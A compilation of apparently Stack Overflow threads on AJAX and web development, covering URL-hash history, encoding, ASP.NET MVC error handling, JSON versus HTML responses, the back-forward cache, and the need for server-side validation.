Now, if GMail were to get an event notification when the hash changed, then gmail could take actions based on that. Unfortunately, there are no DOM events that can help us capture history actions. So instead (this is the part which shows how I overcame the problem), we run an infinite loop that checks for changes to the hash. If it observes a change, then we detect a click to the "back" or "forward" button of the browser.
In solving this, I made a handy tool: the URL parser. It can parse GET params in the URL, as well as params encoded in the Hash. Give the demo a go!
Cheers!
About this problem in IE: I did not realize that this 'hash' based solution does not work on IE (poor old linux developer).
But for IE, you can use a hidden iframe, and use its "url affects history" property to implement history. I know this statement lacks details, but that stems from my own lack of experience with IE.
I will try this solution, and follow up :)
I found a host of links on the internet, that do proper implementations of history using iframes/location hash. I did not have the patience to dig up the differences between iframe interface on various browsers.
I guess I'd prefer the jquery plugin. YUI has a history manager too.
Cheers!
This is what I was looking for: http://nix.lv/history/demo.html#3
Found it on: http://stackoverflow.com/questions/955686/save-the-anchor-in-the-ie6-history
I'm POSTing the contents of a form field via AJAX to a PHP script and using Javascript encode(field_contents). The problem is that any plus signs are being stripped out and replaced by spaces. How can I safely 'encode' the plus sign and then appropriately 'decode' it on the PHP side?
Use encodeURIComponent() in JS and in PHP you should receive the correct values.
Note: When you access $_GET, $_POST or $_REQUEST in PHP, you are retrieving values that have already been decoded.
Example:
In your JS:
// url encode your string
var string = encodeURIComponent('+'); // "%2B"
// send it to your server
window.location = 'http://example.com/?string='+string; // http://example.com/?string=%2B
On your server:
echo $_GET['string']; // "+"
It is only the raw HTTP request that contains the url encoded data.
For a GET request you can retrieve this from the URI. $_SERVER['REQUEST_URI'] or $_SERVER['QUERY_STRING']. For a urlencoded POST, file_get_contents('php://stdin')
NB:
decode() only works for single byte encoded characters. It will not work for the full UTF-8 range.
eg:
text = "\u0100"; // ?
// incorrect
escape(text); // %u0100
// correct
encodeURIComponent(text); // "%C4%80"
Note: "%C4%80" is equivalent to: escape('\xc4\x80')
Which is the byte sequence (\xc4\x80) that represents ? in UTF-8. So if you use encodeURIComponent() your server side must know that it is receiving UTF-8. Otherwise PHP will mangle the encoding. PHP5 supports UTF-8 natively, it is only PHP4 that is the real problem.
Try
encodeURIComponent()
in JS and
html_entity_decode($_POST['field'],ENT_NOQUOTES,'UTF-8');
In PHP
The hexadecimal value you are looking for is %2B
To get it automatically in PHP run your string through urlencode($stringVal). And then run it rhough urldecode($stringVal) to get it back.
If you want the JavaScript to handle it, use escape( str )
Edit
After @bobince's comment I did more reading and he is correct. Use encodeURIComponent(str) and decodeURIComponent(str). Escape will not convert the characters, only escape them with \'s
Does anyone know how to code up long-polling AJAX requests (for server PUSH notifications) in ASP.NET MVC? Whenever I do it, it seems that only the last browser to open up a window gets the notifications. As if IIS/ASP.NET were canceling the last request because it was hung or something.
I recently wrote a simple example of a Long Polling Chat Server using MVC 3 Async Controllers based on a great article by Clay Lenhart
You can use the example on a AppHarbor deployment I set up based on the source from the BitBucket project.
Also, more information available from my blog post explaining the project.
Try looking here for a few clues about comet and iis.
I am designing a web page. In that, when we click the content of div named mail, how can I show a popup window containing a label email and text box?
I searched in Google for a simple popup in jQuery, but the code is weird.
Something this simple doesn't need a plugin. This might look like a lot of code but it's really pretty simple.
First the CSS - tweak this however you like:
a.selected {
background-color:#1F75CC;
color:white;
z-index:100;
}
.messagepop {
background-color:#FFFFFF;
border:1px solid #999999;
cursor:default;
display:none;
margin-top: 15px;
position:absolute;
text-align:left;
width:394px;
z-index:50;
padding: 25px 25px 20px;
}
label {
display: block;
margin-bottom: 3px;
padding-left: 15px;
text-indent: -15px;
}
.messagepop p, .messagepop.div {
border-bottom: 1px solid #EFEFEF;
margin: 8px 0;
padding-bottom: 8px;
}
And the JavaScript:
$(function() {
$("#contact").live('click', function(event) {
$(this).addClass("selected").parent().append('<div class="messagepop pop"><form method="post" id="new_message" action="/messages"><p><label for="email">Your email or name</label><input type="text" size="30" name="email" id="email" /></p><p><label for="body">Message</label><textarea rows="6" name="body" id="body" cols="35"></textarea></p><p><input type="submit" value="Send Message" name="commit" id="message_submit"/> or <a class="close" href="/">Cancel</a></p></form></div>');
$(".pop").slideFadeToggle(function() {
$("#email").focus();
});
return false;
});
$(".close").live('click', function() {
$(".pop").slideFadeToggle(function() {
$("#contact").removeClass("selected");
});
return false;
});
});
$.fn.slideFadeToggle = function(easing, callback) {
return this.animate({ opacity: 'toggle', height: 'toggle' }, "fast", easing, callback);
};
The appending of the div is an ajax call in my app - you might want to change the append code.
And finally the html:
<a href="/contact" id="contact">Contact Us</a>
Hopefully this code is less weird for you.
Check out jQuery UI Dialog. You would use it like this:
The jQuery:
$(document).ready(function() {
$("#dialog").dialog();
});
The markup:
<div id="dialog" title="Dialog Title">I'm in a dialog</div>
Done!
Bear in mind that's about the simplest use-case there is, I would suggest reading the documentation to get a better idea of just what can be done with it.
I use a jQuery plugin called ColorBox, it is
Try out TopUp:
It?s jQuery (soon also Prototype) based and meant to be setup with great ease. The easiest setup is only to include one(!) external Javascript file. It uses one image sprite per layout and doesn?t require a separate stylesheet file to reduce the amount of requests.
The (pixel perfect) look-and-feel is Apple-like with a dashboard and quicklook layout. You can display images, Youtube content, Flash (SWF and FLV), iframes, Ajax content, QuickTime, Windows Media and RealPlayer movies! Display them separately or grouped.
So check it out and give it a try, implementing stylish pop-ups has never been so easy! ;)
There is a good, simple example of exactly this, here: http://www.queness.com/post/77/simple-jquery-modal-window-tutorial
It is quite easy to load HTML content from your custom URLs/Web services using JQuery or any other similar framework. I've used this approach many times and till now and found the performance satisfactory.
But all the books, all the experts are trying to get me to use JSON instead of generated HTML. How's it much more superior than HTML?
Is it very much faster?
Does it have a very much lesser load on the server?
On the other side I have some reasons for using generated HTML.
Which side are you on and why?
I'm a bit on both sides, actually :
The main advantage of using HTML is when you want to replace a full portion of your page with what comes back from the Ajax request :
I generally don't really take into consideration the "performance" side of things, at least on the server :
Finally, one thing that definitly matters :
And to answer another answer : if you need to update more than one portion of the page, there is still the solution/hack of sending all those parts inside one big string that groups several HTML portions, and extract the relevant parts in JS.
For instance, you could return some string that looks like this :
<!-- MARKER_BEGIN_PART1 -->
here goes the html
code for part 1
<!-- MARKER_END_PART1 -->
<!-- MARKER_BEGIN_PART2 -->
here goes the html
code for part 2
<!-- MARKER_END_PART2 -->
<!-- MARKER_BEGIN_PART3 -->
here goes the json data
that will be used to build part 3
from the JS code
<!-- MARKER_END_PART3 -->
That doesn't look really good, but it's definitly useful (I've used it quite a couple of times, mostly when the HTML data were too big to be encapsulated into JSON) : you are sending HTML for the portions of the page that need presentation, and you are sending JSON for the situation you need data...
... And to extract those, the JS substring method will do the trick, I suppose ;-)
I mainly agree with the opinions stated here. I just wanted to summarize them as:
It is bad practice to send HTML if you end up parsing it client-side to do some calculations over it.
It is bad practice to send JSON if all you'll end up doing is to incorporate it into the page's DOM tree.
If the response needs no further client-side processing, HTML is OK in my opinion. Sending JSON will only force you to do that client-side processing.
On the other hand, I use JSON when I don't want to use all the response data at once. For example, I have a series of three chained selects, where the selected value of one determines which values are going to be used for populating the second, and so on.
Depending on your UI, you may need to update two (or more) different elements in your DOM. If your response is in HTML, are you going to parse that to figure out what goes where? Or you can just use a JSON hash.
You can even combine it, return a JSON w/ html data :)
{ 'dom_ele_1' : '<p>My HTML part 1</p>', 'dome_ele_2' : '<div>Your payment has been received</div>' }
I have something interesting I thought I might add. I developed an application that only ever loaded a full view one time. From that point forward it communicated back to the server with ajax only. It only ever needed to load one page (my reason for this is unimportant here). The interesting part comes in that I had a special need to return some data to be operated on in the javascript AND a partial view to be displayed. I could have split this up into two calls to two separate action methods but I decided to go with something a little more fun.
Check it out:
public JsonResult MyJsonObject(string someData)
{
return Json(new { SomeData = someData, PartialView = RenderPartialViewToString("JsonPartialView", null) }, JsonRequestBehavior.AllowGet);
}
What is RenderPartialViewToString() you might ask? It is this little nugget of coolness right here:
protected string RenderPartialViewToString(string viewName, object model)
{
ViewData.Model = model;
using (StringWriter sw = new StringWriter())
{
ViewEngineResult viewResult = ViewEngines.Engines.FindPartialView(ControllerContext, viewName);
ViewContext viewContext = new ViewContext(ControllerContext, viewResult.View, ViewData, TempData, sw);
viewResult.View.Render(viewContext, sw);
return sw.GetStringBuilder().ToString();
}
}
I haven't done any performance testing on this so I'm not sure if it incurs any more or less overhead than calling one action method for the JsonResult and one for the ParticalViewResult, but I still thought it was pretty cool. It just serializes a partial view into a string and sends it along with the Json as one of it's parameters. I then use JQuery to take that parameter and slap it into it's appropriate DOM node :)
Let me know what you think of my hybrid!
IMV, it's all about separating the data from the presentation of the data, but I'm with Pascal, it doesn't necessarily follow that that separation can only be across the client/server boundary. If you have that separation already (on the server) and just want to show something to the client, whether you send back JSON and post-process it on the client, or just send back HTML, depends entirely on your needs. To say you're "wrong" to send back HTML in the general case is just far too blanket a statement IMV.
Sending json is generally done when you have a javascript widget requesting information from the server, such as a list or a tree view or an autocomplete. This is when I would send JSON as it is data that will be parsed and used raw. However if your just gonna show HTML then its a lot less work to generate it server side and just show it on the browser. Browsers are optimized for inserting HTML directly into the dom with innerHTML = "" so you can't go wrong with that.
JSON is very versatil and lightweight format. I have discovered its beauty when I have started to use it as a client side template parser data. Let me explain, while before I was using smarty and views on server side (generating high server load), now I use some custom jquery functions and all the data is rendered on client side, using clients browser as template parser. it saves server resourses and on another hand browsers improve their JS engines every day. So the speed of client parsing is not an important issue right now, even more, JSON objects are ususally very small so they don't consume a lot of client side resourses. I prefer to have a slow website for some users with slow browser rather than slow site for everyone because of very loaded server.
On another hand, sending pure data from server you abstract it from presentation so, if tomorrow you want to change it or integrate your data into another service you can do it much easier.
Just my 2 cents.
I think it depends on the structure of the design, it's just more sexy to use JSON than HTML but the question is how would one handle it so it can be easily to maintain.
For example, say I have the listing page that utilize the same html/style of the entire site, I would write the global function to format those portions of HTML and all I have to do is passing the JSON object into the function.
I want to run a relatively time consuming script based on some form input, but I'd rather not resort to cron, so I'm wondering if a php page requested through ajax will continue to execute until completion or if it will halt if the user leaves the page.
It doesn't actually output to the browser until a json_encode at the end of the file, so would everything before that still execute?
It depends.
From http://us3.php.net/manual/en/features.connection-handling.php:
When a PHP script is running normally the NORMAL state, is active. If the remote client disconnects the ABORTED state flag is turned on. A remote client disconnect is usually caused by the user hitting his STOP button.
You can decide whether or not you want a client disconnect to cause your script to be aborted. Sometimes it is handy to always have your scripts run to completion even if there is no remote browser receiving the output. The default behaviour is however for your script to be aborted when the remote client disconnects. This behaviour can be set via the
ignore_user_abortphp.ini directive as well as through the correspondingphp_value ignore_user_abortApache httpd.conf directive or with theignore_user_abort()function.
That would seem to say the answer to your question is "Yes, the script will terminate if the user leaves the page".
However realize that depending on the backend SAPI being used (eg, mod_php), php cannot detect that the client has aborted the connection until an attempt is made to send information to the client. If your long running script does not issue a flush() the script may keep on running even though the user has closed the connection.
Complicating things is even if you do issue periodic calls to flush(), having output buffering on will cause those calls to trap and won't send them down to the client until the script completes anyway!
Further complicating things is if you have installed Apache handlers that buffer the response (for example mod_gzip) then once again php will not detect that the connection is closed and the script will keep on trucking.
Phew.
It depends on your settings - usually it will stop but you can use ignore_user_abort() to make it carry on.
Depending on the configuration of the web server and/or PHP, the PHP process may, or may not, kill the thread when the user terminates the HTTP connection. If an AJAX request is pending when the user walks away from the page, it is dependent on the browser killing the request (not guaranteed) ontop of your server config (not guaranteed). Not the answer you want to hear!
I would recommend creating a work queue in a flat file or database that a constantly-running PHP daemon can poll for jobs. It doesn't suffer from cron delay but keeps CPU/memory usage to a usable level. Once the job is complete, place the results in the flat file/database for AJAX fetch. Or promise to e-mail the user once the job is finished (my preferred method).
Hope that helps
If the client/user/downloader/viewer aborts or disconnects, the script will keep running until something tries do flush new data do the client. Unless you have used ignore_user_abort(), the script will die there. In the same order, PHP is unable to determine if client is still there without trying to flush any data to the httpd.
There's some good, user contributed documentation on the php website.
found the actual solution for my case of it not terminating the connection. The SESSION on my Apache/Php server needed to close before the next one could start.
Why aren't there any Javascript distributed computing frameworks / projects? The idea seems absolutely awesome to me because:
Please share your views on this subject.
EDIT: Also, what kind of problems do you think would be suitable for JSDC?
GIMPS for instance would be impossible to implement.
There is something to be said for 'user rights' here. It sounds like you're describing a situation where the webmaster for Foo.com includes the script for, say, Folding@Home on their site. As a result, all visitors to Foo.com have some fraction of their CPU "donated" to Folding@Home, until they navigate away from Foo.com. Without some sort of disclaimer or opt-in, I would consider that a form of malware and avoid vising any site that did that.
That's not to say you couldn't build a system that asked for confirmation or permission, but there is definite potential for abuse.
I think that Web Workers will soon be used to create distributed computing frameworks, there are some early attempts at this concept. Non-blocking code execution could have been done before using setTimeout, but it made a little sense as most browser vendors focused on optimizing their JS engines just recently. Now we have faster code execution and new features, so running some tasks unconsciously in background as we browse the web is probably just a matter of months ;)
First that comes to my mind is security. Almost all distributed protocols that I know have encryption, thats why they prevent security risks. Although this subject is not so innovative..
http://www.igvita.com/2009/03/03/collaborative-map-reduce-in-the-browser/
Also Wuala is a distributed system, that is implemented using java applet.
I think the no.1 problem is javascript inefficiency at computing. It wouldn't be just worth it, because an application in pure c/c++ would be 100 times faster.
I have pondered this myself in the context of item recommendation.
First, there is no problem with speed! JIT compiled javascript can be as fast as unoptimized C, especially for numeric code.
The bigger problem is that running javascript in the background will slow down the browser and therefore users may not like your website because it runs slowly.
There is obviously an issue of security, how can you verify the results?
And privacy, can you ensure sensitive data isn't compromised?
On top of this, it's quite a difficult thing to do. Can the number of visits you receive justify the effort that you'll have to put into it? It would be better if you could run the code transparently on either the server or client-side. Compiling other languages to javascript can help here.
In summary, the reason that it's not widespread is because developers' time is more valuable than server time. The risk of losing user data and the inconvenience to users outweighs the potential gains.
I know of pluraprocessing.com doing similar thing, not sure if exactly javascript, but they run Java through browser and runs totally in-memory with strict security.
They have 50,000 computers grid on which they have successfully run applications even like web-crawling (80legs).
I think we can verify results on some kind of problem.
Let's say we have n number of items and need to sort it. We'll give it to worker-1, worker-1 will give us the result. We can verify it O(n) time. Please consider that it take at least O(n*log(n)) time to produce the result. Additionally we should consider how large is n items? (concern about network speed)
Another example, f(x)=12345, and function is given. Purpose is to find value of x. We can test it by replace x with some worker's result. I think some problems that are not verifiable are difficult to give to someone.
And how exactly does it relate to jquery? I know the library uses native javascript functions internally, but what exactly is it trying to do whenever such a problem appears?
Thx for any response in advance.
It means you've tried to insert a DOM node into a place in the DOM tree where it cannot go. The most common place I see this is on Safari which doesn't allow the following:
document.appendChild(document.createElement('div'));
Generally, this is just a mistake where this was actually intended:
document.body.appendChild(document.createElement('div'));
You can see these questions
Getting HIERARCHY_REQUEST_ERR when using Javascript to recursively generate a nested list
or
JQuery UI Dialog with Asp .NET button postback..
The conclusion is
when you try to use function append, you should use new variable, like this example
jQuery(function() {
var dlg = jQuery("#dialog").dialog({
draggable: true,
resizable: true,
show: 'Transfer',
hide: 'Transfer',
width: 320,
autoOpen: false,
minHeight: 10,
minwidth: 10
});
dlg.parent().appendTo(jQuery("form:first"));
});
In the example above, uses the var "dlg" to run the function appendTo. Then error ?HIERARCHY_REQUEST_ERR" will not come out again.
I encountered this error when using the Google Chrome extension Sidewiki. Disabling it resolved the issue for me.
Does anyone have a elegant way of dealing with errors in ASP.Net MVC? I constantly run into issues when dealing with requests to controller actions where the Action can be used for both normal requests and AJAX requests. The problem I have is finding an elegant way of dealing with these issues.
For example, how could I handle validation errors? Ideally I would like to submit the form to a server via AJAX and then return any errors the action threw and display them on the page, but for the same to work via a normal postback when the client has JavaScript turned off. I know I can use the jQuery Validation Plugin as they type but it's isn't the same, nor is it ideal considering the restrictions on the data to be validated would be specified in two places (my nHibernate Validation Mappings and in the JavaScript file).
How about when the user requests a non-existent record? Should I redirect to a 404 page? What if the request was made via Ajax (say, to load in a dialogue box).
So:
How do you handle errors thrown by controller actions when they were called using Ajax? Especially Model State errors (i.e validation). Can I send it via JSON?
Do you have tips on how to make controller actions which work well when called normally and via Ajax? This is a annoying problem when writing action methods. Because of the return type I may want a different result depending on the caller. Is there anyway to do this without having two Action Methods?
What is your general strategy for handling errors in actions on MVC? Do you redirect to error pages a lot? Do you redirect to another page?
Edit: I think part of the problem is I want different things to happen, so if there is an error I would want to stop any progress until it's fix and therefore send a error back. Otherwise I may want to update different areas of the page. But if I had one return how would I know it's a success or failure without wrapping it an object that has a property indicting so (thus making it more difficult to use partial views)
Thanks
The AJAX call is not a page refresh so I would definitely not redirect to a 403, 404 etc. I would display a client side dialog explaining the unexpected result of the request appropriately. Your controller can return the results of failed validation to the AJAX call in a similar fashion to how it would return success data so your dialog can also display whatever is required in this scenario.
Disclaimer: I haven't done much ASP.NET MVC Programming.
That said, I've used a number of MVC frameworks in other languages, and have completed quite a few django projects. Over time, I've kinda evolved a pattern to deal with this sort of thing in django, using template inclusion.
Essentially, I create a partial template containing the form (and any validation errors), which gets included in the main template. The view (or Controller, in your case) then selects between these two templates: AJAX requests get the partial template, and regular requests get the full template. In the main template, I use the jQuery form plugin to submit the form via AJAX, and simply replace the current form with the data from the server: if validation fails, I get a form with highlighted fields, and a list of errors on top; if the POST succeeds, the form is replaced with a success message, or whatever is more appropriate for your situation.
I guess in the ASP.NET MVC world, UserControls could be the equivalent of partials? This article shows how to acheive something similar to what I've described (though, the article seems rather dated, and things could've changed).
To answer your second question, I don't think you should be doing a redirect on "page not found" -- one returns a 302, the other should return a 404; one isn't an error condition, the other is. If you lose the status code, your javascript gets more complicated (since you'll have to somehow test the actual returned data, to figure out what happened). These two posts should give you some ideas on how to implement HTTP-friendly error pages. Django does something similar (raise a Http404 exception, return a 404 status code and optionally render a 404.html template).
Do you have tips on how to make controller actions which work well when called normally and via Ajax? This is a annoying problem when writing action methods.
Yes, yes I do. We also worked through a similar problem--we wanted the app to have a bunch of forms which would be called generally via ajax but could get hit normally. Moreover, we didn't want a whole bunch of duplicate logic in javascript floating around. Anyhow, the technique we came up with was to use a pair of ActionFilterAttributes to intercept the forms, then a little javascript to wire up the form for ajax handling.
First, for the ajax request, we just wanted to swap out master pages:
private readonly string masterToReplace;
/// <summary>
/// Initializes an Ajax Master Page Switcharoo
/// </summary>
/// <param name="ajaxMaster">Master page for ajax requests</param>
public AjaxMasterPageInjectorAttribute(string ajaxMaster)
{
this.masterToReplace = ajaxMaster;
}
public override void OnResultExecuting(ResultExecutingContext filterContext)
{
if (!filterContext.HttpContext.Request.IsAjaxRequest() || !(filterContext.Result is ViewResult)) return;
ViewResult vr = (ViewResult) filterContext.Result;
vr.MasterName = masterToReplace;
}
}
On the return side, we use xVal to validate client-side, so one shouldn't get much in the way of invalid data, but one can still get some. To that end, we just use normal validation and have the aciton method return the form with validation messages. Successful posts are rewarded with redirects in general. In any case, we do a little json injection for the success case:
/// <summary>
/// Intercepts the response and stuffs in Json commands if the request is ajax and the request returns a RedirectToRoute result.
/// </summary>
public class JsonUpdateInterceptorAttribute : ActionFilterAttribute
{
public override void OnActionExecuted(ActionExecutedContext filterContext)
{
if (filterContext.HttpContext.Request.IsAjaxRequest())
{
JsonResult jr = new JsonResult();
if (filterContext.Result is RedirectResult)
{
RedirectResult rr = (RedirectResult) filterContext.Result;
jr.Data = new {command = "redirect", content = rr.Url};
}
if (filterContext.Result is RedirectToRouteResult)
{
RedirectToRouteResult rrr = (RedirectToRouteResult) filterContext.Result;
VirtualPathData vpd = RouteTable.Routes.GetVirtualPath(filterContext.RequestContext, rrr.RouteValues);
jr.Data = new {command = "redirect", content = vpd.VirtualPath};
}
if (jr.Data != null)
{
filterContext.Result = jr;
}
}
}
}
The final trick is using a little javascript object to tie everything together:
function AjaxFormSwitcher(form, outputTarget, doValidation) {
this.doValidation = doValidation;
this.outputTarget = outputTarget;
this.targetForm = form;
}
AjaxFormSwitcher.prototype.switchFormToAjax = function() {
var afs = this;
var opts = {
beforeSubmit: this.doValidation ? afs.checkValidation : null,
complete: function(xmlHttp, status){ afs.processResult(afs, xmlHttp, status); },
clearForm: false
};
this.targetForm.ajaxForm(opts);
}
AjaxFormSwitcher.prototype.checkValidation = function(formData, jqForm, options) {
jqForm.validate();
return jqForm.valid();
}
AjaxFormSwitcher.prototype.processResult = function(afs, xmlHttp, status) {
if (xmlHttp == null) return;
var r = xmlHttp;
var c = r.getResponseHeader("content-type");
if (c.match("json") != null) {
var json = eval("(" + r.responseText + ")");
afs.processJsonRedirect(json);
}
if (c.match("html") != null) {
afs.outputTarget.html(r.responseText);
}
}
AjaxFormSwitcher.prototype.processJsonRedirect = function(data) {
if (data!=null) {
switch (data.command) {
case 'redirect':
window.location.href = data.content;
break;
}
}
}
That little script handles stuff like wiring up the form to do ajax and processing the result (either json command or html which gets displayed in the target). I admittedly suck at writing javascript, so there is probably a much more graceful way to write that.
Best way of distinguishing between Ajax requests and normal ones is to write a custom action selector attribute (AjaxOnlyAtribute) and provide two action methods that each handles it's own situation.
[HttpPost]
[AjaxOnly]
[ActionName("Add")]
public ActionResult AddAjax(Entity data) { ... }
[HttpPost]
[ActionName("Add")]
public ActionResult AddNormal(Entity data) { ... }
This way you'll avoid code branches and keep code footprint small while also maintaining control over your code. Provide the paired actions only to those actions that need them.
Handling validation errors in Ajax calls (or any other errors basically) can be done using exception action filter. I've written a particular one called ModelStateExceptionAttribute. This is the way it's done:
[HandleModelStateException]
public ActionResult SomeAjaxAction(Data data)
{
if (!this.ModelState.IsValid)
{
throw new ModelStateException(this.ModelState);
}
// usual code from here on
}
And you've probably made your Ajax request using jQuery so such errors gent easily handled by error ajax function:
$.ajax({
type: "POST",
url: "someURL",
success: function(data, status, xhr) {
// handle success
},
error: function(xhr, status, err) {
// handle error
}
});
You can read a detailed blog post about this approach here.
We never redirect (why make the user repeatedly press the 'back' button in case they don't understand what needs to be inputted into a particular field?), we display errors on the spot, be it AJAX or not (the location of the 'spot' on the page is entirely up to you, for all AJAX requests we just show a coloured bar top of the page, just like stackoverflow does for first-comers, only ours does not push the rest of the content down).
As for form validation, you can do both server-side and client-side. We always try to show server-side errors on top of the form in a distinctive container, client-side - right next to the field in question on submit. Once the page comes back from the server with server-side validation errors, user will only see the server-side ones initially, so no duplication there.
For data specified in two places, not sure if I understand, since I've never dealt with nHibernate Validation Mappings.
Keep two error views, one for normal (complete) display of the page and the other which just renders the errors in XML or JSON.
Never validate client-side as the user can easily bypass it. For real-time validation, just run an AJAX request to the server for validation, that way you're writing the validation code once.
I have used xVal in the past, along with some homegrown reflection-based JS rule generators. The idea is that you define the rule once (in your case, via nHibernate), and an HTML helper reflects over your properties and generates client-side validation code on the fly (using the jQuery.validation plugin). Exactly the right way to have a responsive client-side UI, while still enforcing server-side validation.
Unfortunately, this method doesn't work for AJAX-posted forms.
For AJAX rules, it would be as simple as adding a Errors array to your returned JSON objects. Anywhere you're using AJAX, simply check the length of Errors (that's all ModelState.IsValid does) and display an error. You can use the IsAjaxRequest method to detect an AJAX call:
public ActionResult PostForm(MyModel thing)
{
UpdateModel(thing);
if (this.Request.IsAjaxRequest() == false)
{
return View();
}
else
{
foreach(var error in ModelState.Errors)
{
MyJsonObject.Errors.Add(error.Message);
}
return JsonResult(MyJsonObject);
}
}
If javascript modifies DOM in page A, user navigates to page B and then hits back button to get back to the page A. All modifications to DOM of page A are lost and user is presented with version that was originally retrieved from the server.
It works that way on stackoverflow, reddit and many other popular websites. (try to add test comment to this question, then navigate to different page and hit back button to come back - your comment will be "gone")
This makes sense, yet some websites (apple.com, basecamphq.com etc) are somehow forcing browser to serve user the latest state of the page. (go to http://www.apple.com/ca/search/?q=ipod, click on say Downloads link at the top and then click back button - all DOM updates will be preserved)
where is the inconsistency coming from?
One answer: Among other things, unload events cause the back/forward cache to be invalidated.
Some browsers store the current state of the entire web page in the so-called "bfcache" or "page cache". This allows them to re-render the page very quickly when navigating via the back and forward buttons, and preserves the state of the DOM and all JavaScript variables. However, when a page contains onunload events, those events could potentially put the page into a non-functional state, and so the page is not stored in the bfcache and must be reloaded (but may be loaded from the standard cache) and re-rendered from scratch, including running all onload handlers. When returning to a page via the bfcache, the DOM is kept in its previous state, without needing to fire onload handlers (because the page is already loaded).
Note that the behavior of the bfcache is different from the standard browser cache with regards to Cache-Control and other HTTP headers. In many cases, browsers will cache a page in the bfcache even if it would not otherwise store it in the standard cache.
jQuery automatically attaches an unload event to the window, so unfortunately using jQuery will disqualify your page from being stored in the bfcache for DOM preservation and quick back/forward. [Update: this has been fixed in jQuery 1.4 so that it only applies to IE]
What you are looking for is for some type of URL hash management. The # in the url is for client side only.
When you change the state of the back with JS, then you update the data in the # of the url.
Also you add some type of polling that monitors if the hash has changed, and loads the state of the page based off the new data in the hash.
Take a look at this:
Facebook remembers page state by modifying the hash identifier in the URL for ajax requests. These changes are recorded in browser history, so when the user clicks the back button, the hash changes to what it was before. So then it is implied that you will need some Javascript to monitor the has identifier and react when it is changed by the browser. Andreas Blixt has a hash monitoring script available.
Using the URL hash/fragment identifier is a pretty common way to hook/remember state in a web application that relies on Ajax and DOM updates.
Check out the Really Simple History project for some ideas. It's possible to monitor the URL for changes to the hash, and rsh does this, taking into account browser differences.
This has nothing to do with the hash (#) symbol.
If you would check apple's HTTP headers, it's simply caching the page.
JavaScript code I'm starting with:
function doSomething(url) {
$.ajax({ type: "GET",
url: url,
dataType: "xml",
success: rssToTarget
});
}
Pattern I would like to use:
//where elem is the target that should receive new items via DOM (appendChild)
function doSomething(url, elem) {
$.ajax({ type: "GET",
url: url,
dataType: "xml",
success: rssToTarget(elem)
});
}
I don't think I can get the callback to work this way, right? What is the proper pattern? I don't want to use global variables necessarily to temporarily hold the elem or elem name.
Like this...
function doSomething(url, elem) {
$.ajax({
type: "GET",
url: url,
dataType: "xml",
success: function(xml) {
rssToTarget(xml, elem);
}
});
}
Answer to your comment: Does use of anonymous functions affect performance?
The pattern you'd like to use could work if you create a closure inside your rssToTarget function:
function rssToTarget(element) {
return function (xmlData) {
// work with element and the data returned from the server
}
}
function doSomething(url, elem) {
$.ajax({ type: "GET",
url: url,
dataType: "xml",
success: rssToTarget(elem)
});
}
When rssToTarget(elem) is executed, the element parameter is stored in the closure, and the callback function is returned, waiting to be executed.
Is it bad to have multiple $(document).ready(function() {}); on your page? I have a website where I load different things at different times. I fire off those partial postback functions inside $(document).ready() but i have about 4 or 5 on the page at once. Is this a bad practice? Specifically, will it cause any performance issues?
The answer is no! You can litter them as much as you want (note the word litter). They just become a queue of events that are called when the ready event is triggered.
http://www.learningjquery.com/2006/09/multiple-document-ready
No it is fine to have as many as you want. A shorter, much more elegant way to do this is $(function(){}) though.
If it's on the same page I would personally put them all in the same place so that you can't be caught out by forgetting one of the things happening on load.
I doubt the performance implications are that significant though. Have you tried benchmarking the page with them all together and apart?
The answer is actually "Yes it deters performance":
Should you do validation on the server side, or is it ok to just do the validation on the client side?
@TheTXI
I am happy your amazed I just did not want to leave anything out that could potential change someone answer to give me false information.
It seems alot of people touched on what I was going after but the part of the Ajax should have been kept in my question as this was the most important part.
However reading the posts I know see that a bad person could just easily load up firebug and change my button to a submit button and do a post. Or some other way.
Browser/client-side validation is a convenience. You cannot rely on it. You absolutely need to duplicate any client-level validation with server-side validation.
Well, fine, all YOUR code is correct. What happens when a hacker replaces your javascript with one of their liking, or just plain submit POSTs and GETs as if it were your code?
Validating at the client is a usability issue.
Validating at the point of USAGE is a security issue.
That last point is important, because if you do not validate at the point of usage, you are making your code highly coupled. If you change a module, it breaks things elsewhere because you validated at the wrong point.
For instance, you validate data against SQL injection before storing in a SQL database -- the library will do that for you if you choose a good one. You validate data against CSS when you display it as HTML. But if you expose the data it as XML, RSS or JSON, then the validation is different -- if you validated it just at input, you wouldn't prevent exploits for the other formats, AND your input routine would be tied to the output formats you choose.
I always view it as
Yes, you should always do server-side validation. Javascript/AJAX is nice to give the user instant feedback, but it isn't giving you any protection whatsoever on the server side.
You just can't trust user input. Javascript validation is too easy to circumvent. Thus, you need to check the input on the server side.
In short yes. You can never depend on what a browser sends you is legitimate.
Client side validation can potentially be circumvented - and if you don't have server-side validations, you will end up processing or saving invalid or bad data.
The above could be because of browser issues, like some browser version that you dont support. Or Worse it could be due to a malicious user.
Hence it's essential to have server-side validations.
Actually, server-side validation is a must, client-side is nice but optional. That's because you have absolutely no control over what's happening on the client side.
Worse case is that a custom browser is built which renders your client-side validation impotent. This is really no different to using URLs to pass sensitive information - it's quite easy for someone to suborn the URL to do what they wish (such as changing pricing information on an order or bypassing security by changing user IDs).
It is absolutely essential to have server-side validation, as a user could turn off JavaScript or simply submit any data they wanted to your server-side handler, since they don't have to use your JS-enhanced form to submit the data.
I've always thought of client-side/JavaScript validation as a UI enhancement, with the server-side validation as the "actual" validation. Having the JS validation is nice for immediate notification of improper data to help your users.
In addition to the issue of a user with Javascript turned off, server-side validation is necessary for security. In addition to checking things like required fields, you also want to check the user-supplied data to prevent SQL injection attacks, cross-site scripting, etc. You have to do this on the server side, because a user can always bypass the Javascript and send you any data they want.
Yes, you still need to do validation server side. an AJAX post is still just a POST. Someone could easily enough write a page that does a POST with bad data, or even easier use a tool like the Tamper Data plugin in Firefox to change the data after your Javascript has validated it.
I think you should do client-side AND server-side validation to be safe. You could have plenty of validation on the client, but if some circumvents that validation then you open yourself up to big problems. Whereas, having validation on the server-side too, protects you against that
If you don't validate on the server, someone will overwrite your client-side validation using Firebug, or just go completely around it with another Firefox extension called Poster. Good luck cleaning you database!
Client-side validation is only done so that the user knows that they messed up immediately. It is not intended to secure anything.
Yes, anything could happen with the client side and you should not trust it as a primary form of validation. You do not want bad data getting to a database or potential security issues that could arise from unchecked conditions. It can depend on the type of functionality, but you should validate on both sides.
For additional spirited debate on what's basically the same subject, see Security in Flex ? is it possible to manipulate downloaded code and execute web service.
Definitely do both. Client side validation is good for simple type validation (for example does this match a properly formated email address) but since you cannot ensure that your data is coming from your pages (form spoofing is a common hack) you should always duplicate the validation on the server side.
